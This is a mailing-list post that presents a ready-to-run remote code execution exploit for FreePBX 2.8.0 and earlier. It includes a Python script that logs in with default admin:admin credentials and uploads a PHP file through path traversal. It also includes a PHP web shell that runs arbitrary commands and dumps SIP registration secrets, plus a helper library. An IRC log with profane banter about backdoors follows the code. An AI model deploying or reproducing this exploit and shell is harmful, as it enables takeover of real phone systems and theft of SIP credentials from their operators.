[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] FreePBX <= 2.8.0 Recordings Interface Allows Remote Code Execution
- To: <full-disclosure@xxxxxxxxxxxxxxxxx>
- Subject: [Full-disclosure] FreePBX <= 2.8.0 Recordings Interface Allows Remote Code Execution
- From: foo net <foonet@xxxxxxxxxxx>
- Date: Mon, 26 Mar 2012 21:10:52 +0300
,-------. /
,' `. ,--'
,' `. ,-;-- _.-
pow! / \ ---;-' _.=.---''
+-------------+ ; X X ---=-----'' _.-------
| ----- |--| \-----=---:i-
+XX|'i:'''''''' : ;`--._ ''---':----
/X+-) \ \ / / ''--._ `-
.XXX|) `. `. ,' ,' ''---.
X\/) `. '---' ,' `-
\ `---+---'
\ | "Witness my perfection !"
\. |
`-------------------+
FreePBX recordings interface allows remote code executionPublished:
2010-09-23Version: 1.0Vendor: FreePBX (http://www.freepbx.org/)Product: FreePBX
and VOIP solutions (AsteriskNOW, TrixBox, etc) using itVersion(s) affected:
2.8.0 and below
/* zZzZz */ <?php if (isset($_FILES['ivrfile']['tmp_name']) &&
is_uploaded_file($_FILES['ivrfile']['tmp_name'])) { if (empty($usersnum)) {
$dest = "unnumbered-"; } else { $dest = "{$usersnum}-"; }
$suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1); $destfilename
= $recordings_save_path.$dest."ivrrecording.".$suffix;
move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename); echo
"<h6>"._("Successfully uploaded")." ".$_FILES['ivrfile']['name']."</h6>";
$rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.'); } ?> /*
zZzZz */
/**/god.py/**/
#!/usr/bin/pythonimport os, socket, sys, urllib2, re, MultipartPostHandler
def exploit(host): auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('FreePBX Administration', host, 'admin', 'admin')
opener = urllib2.build_opener(auth_handler,
MultipartPostHandler.MultipartPostHandler) url =
'https://'+host+'/admin/config.php' header = {'Referer':
"https://"+host+"/admin/config.php?type=setup&display=recordings"} post_data
= {} post_data['display'] = 'recordings' post_data['action'] =
'recordings_start' post_data['usersnum'] =
'../../../../../var/www/html/admin/Z' post_data['ivrfile'] = open('x.php',
"rb") urllib2.install_opener(opener) request = urllib2.Request(url,
post_data, header) socket.setdefaulttimeout(4) try: data =
urllib2.urlopen('https://'+host+'/admin/config.php').read() authobj =
re.compile('(?:Logged\s)?') matchobj = authobj.match(data) if
matchobj: print 'https://'+host+'/admin/config.php admin:admin'
urllib2.urlopen(request) os.system("echo
'https://"+host+"/admin/Z-ivrrecording.php?sip=info'"); sys.exit()
else: sys.exit() except: sys.exit()
def verify(host): socket.setdefaulttimeout(4) theurl =
'https://'+host+'/admin/config.php' req = urllib2.Request(theurl) try:
handle = urllib2.urlopen(req) except IOError, e: if hasattr(e,
'code'): if e.code != 401: sys.exit()
else: header = e.headers['www-authenticate']
authobj = re.compile('(?:FreePBX\s)?') matchobj =
authobj.match(header) if matchobj:
exploit(host) else: sys.exit()
def checkit(host): auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('FreePBX Administration', host, 'admin', 'admin')
opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener)
socket.setdefaulttimeout(4) try: data =
urllib2.urlopen('https://'+host+'/admin/config.php').read() authobj =
re.compile('(?:Logged\s)?') matchobj = authobj.match(data) if
matchobj: print 'https://'+host+'/admin/config.php admin:admin'
exploit(host) else: sys.exit() except:
sys.exit()
if len(sys.argv) < 2: print '[!] '+sys.argv[0]+' IP' sys.exit()
host = sys.argv[1]verify(host)
/**/x.php/**/<body bgcolor="black"><font
color="lime"><pre><?phperror_reporting(0);set_time_limit(0);echo
base64_decode("Wm1FdSB2MC4x")."\n";if ($_GET["php"] == "info") { $cmd =
$_GET["ip"]; @system($cmd); }if ($_GET["sip"] == "info") { @system("cat
/etc/asterisk/sip_registrations.conf"); }?></pre></font>
/**/MultipartPostHandler.py/**/
#!/usr/bin/python
"""ZmEu v0.1"""
import urllibimport urllib2import mimetools, mimetypesimport os, stat
class Callable: def __init__(self, anycallable): self.__call__ =
anycallable
doseq = 1
class MultipartPostHandler(urllib2.BaseHandler): handler_order =
urllib2.HTTPHandler.handler_order - 10
def http_request(self, request): data = request.get_data() if
data is not None and type(data) != str: v_files = []
v_vars = [] try: for(key, value) in data.items():
if type(value) == file:
v_files.append((key, value)) else:
v_vars.append((key, value)) except TypeError:
systype, value, traceback = sys.exc_info() raise TypeError, "not
a valid non-string sequence or mapping object", traceback
if len(v_files) == 0: data =
urllib.urlencode(v_vars, doseq) else: boundary, data
= self.multipart_encode(v_vars, v_files) contenttype =
'multipart/form-data; boundary=%s' % boundary
if(request.has_header('Content-Type') and
request.get_header('Content-Type').find('multipart/form-data') != 0):
print "Replacing %s with %s" % (request.get_header('content-type'),
'multipart/form-data')
request.add_unredirected_header('Content-Type', contenttype)
request.add_data(data) return request
def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None: boundary = mimetools.choose_boundary()
if buffer is None: buffer = '' for(key, value) in vars:
buffer += '--%s\r\n' % boundary buffer += 'Content-Disposition:
form-data; name="%s"' % key buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files: file_size =
os.fstat(fd.fileno())[stat.ST_SIZE] filename =
fd.name.split('/')[-1] contenttype =
mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buffer += '--%s\r\n' % boundary buffer += 'Content-Disposition:
form-data; name="%s"; filename="%s"\r\n' % (key, filename) buffer +=
'User-Agent: ZmEu/pbx\r\n' buffer += 'Content-Type: %s\r\n' %
contenttype # buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0) buffer += '\r\n' + fd.read() + '\r\n' buffer +=
'--%s--\r\n\r\n' % boundary return boundary, buffer multipart_encode
= Callable(multipart_encode)
https_request = http_request
def main(): import tempfile, sys
validatorURL = "http://validator.w3.org/check" opener =
urllib2.build_opener(MultipartPostHandler)
def validateFile(url): temp = tempfile.mkstemp(suffix=".html")
os.write(temp[0], opener.open(url).read()) params = { "ss" : "0",
# show source "doctype" : "Inline",
"uploaded_file" : open(temp[1], "rb") } print opener.open(validatorURL,
params).read() os.remove(temp[1])
if len(sys.argv[1:]) > 0: for arg in sys.argv[1:]:
validateFile(arg) else: validateFile("http://www.google.com")
if __name__=="__main__": main()
/**//**/
/*
[08:20pm] <@zeu> Uptime: 1 week 2 days 3 hours 41 minutes 21 seconds[08:29pm] *
Quits: @eins (eins5@xxxxxxxxxx) (Read error: Operation timed out)[08:33pm]
<@d3mon> kay me bbs gonna setup some backd00r and then release it[08:33pm]
<@d3mon> y0 zmeu[08:33pm] <@d3mon> keep in touch[08:34pm] <@d3mon> i did not
forgot[08:34pm] <@d3mon> what you need[08:34pm] <@d3mon> in case you dont have
that vuln yet[08:34pm] <@d3mon> i'll provide tonight[08:35pm] <@d3mon> also
becarefull with that sickhead[08:35pm] <@d3mon> Kryptik[08:35pm] * Joins: _eins
(eins5@xxxxxxxxxx)[08:35pm] <@d3mon> [00:28] <@d3mon> [15:49] <xd> coz, i know
he mustve rooted one of my ircd boxes.[08:35pm] <@d3mon> [00:28] <@d3mon>
[15:49] <xd> this is why im sick of using linux for them[08:35pm] <@d3mon>
[00:28] <@d3mon> [15:50] <xd> theyre just, a pain in arse.[08:35pm] <@d3mon>
[00:28] <@d3mon> [15:50] <xd> i loose code to dickheads[08:35pm] <@d3mon>
[00:28] <@d3mon> [15:50] <xd> and, you would think he would give me some
codes[08:35pm] <@d3mon> [00:28] <@d3mon> [15:50] <xd> but he always
asks[08:35pm] <@d3mon> [00:28] <@d3mon> [15:50] <xd> i always help him[08:35pm]
<@d3mon> [00:28] <@d3mon> [15:50] <xd> and, he never once gives me
shit.[08:35pm] <@d3mon> [00:28] <@d3mon> [15:50] <xd> nothing[08:35pm] <@d3mon>
[00:28] <@d3mon> [15:50] <xd> i dont even know why hes in my channel[08:35pm]
<@d3mon> [00:28] <@d3mon> [15:50] <xd> hes a fucking leech[08:36pm] <@d3mon>
hahaha j00 r a fuck1ng dickhead[08:36pm] <@d3mon> mwhaahhahahha[08:36pm]
<@d3mon> also a leech[08:36pm] <@d3mon> be carefull man[08:36pm] <@zeu> ce
ma[08:37pm] <@d3mon> asta zice [08:37pm] <@d3mon> xd--[08:37pm] <@d3mon> despre
tine[08:37pm] <@d3mon> acum ceva vreme[08:37pm] <@zeu> da, ca nui dau codurile
mele[08:37pm] <@zeu> si ?[08:37pm] <@zeu> [08:36pm] <@d3mon> be carefull
man[08:37pm] <@d3mon> f bine faci[08:37pm] <@d3mon> :))[08:38pm] <@d3mon> da-i
la muie[08:38pm] <@d3mon> da-l in sloboz[08:38pm] <@zeu> nam nevoie de ajutoru
nimanui ma :)[08:38pm] <@d3mon> ca un lake afumat[08:38pm] <@d3mon> ca
e*[08:38pm] <@d3mon> e vai pula lui[08:38pm] <@d3mon> crede-ma[08:38pm]
<@d3mon> io m-am convins...Thank's xd, do you need codes? get roles!"fuck
friendz" -- sGod....*/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/